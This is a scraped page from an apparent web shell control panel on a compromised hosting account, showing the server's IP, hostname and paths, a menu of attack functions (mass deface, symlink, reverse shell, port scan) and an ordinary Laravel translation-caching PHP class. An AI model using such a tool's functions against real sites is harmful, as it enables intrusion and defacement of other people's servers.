ヤミRoot VoidGate
User / IP
:
216.73.216.0
Host / Server
:
84.32.84.231 / jigishaelectronics.com
System
:
Linux us-bos-web1572.main-hosting.eu 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u852776893
/
domains
/
jigishaelectronics.com
/
public_html
/
app
/
Utility
/
Viewing: TranslationUtility.php
<?php namespace App\Utility; use App\Models\Translation; class TranslationUtility { // Hold the class instance. private static $instance = null; private $translations; // The db connection is established in the private constructor. private function __construct() { $data = Translation::all(); $this->translations = collect($data->toArray())->all(); //$this->translations = collect($data->toArray()); } public static function getInstance() { if (!self::$instance) { self::$instance = new TranslationUtility(); } return self::$instance; } public static function reInstantiate() { self::$instance = new TranslationUtility(); } public function cached_translation_row($lang_key, $lang) { $row = []; if (empty($this->translations)) { return $row; } foreach ($this->translations as $item) { if ($item['lang_key'] == $lang_key && $item['lang'] == $lang) { $row = $item; break; } } return $row; } //The code below also works but it takes more time than the function written above //$this->translations = collect($data->toArray()); /*public function cached_translation_row($lang_key, $lang) { $row = $this->translations->where('lang_key', $lang_key)->where('lang', $lang)->first(); return $row != null ? $row : []; }*/ public function getAllTranslations() { return $this->translations; } }
Coded With 💗 by
0x6ick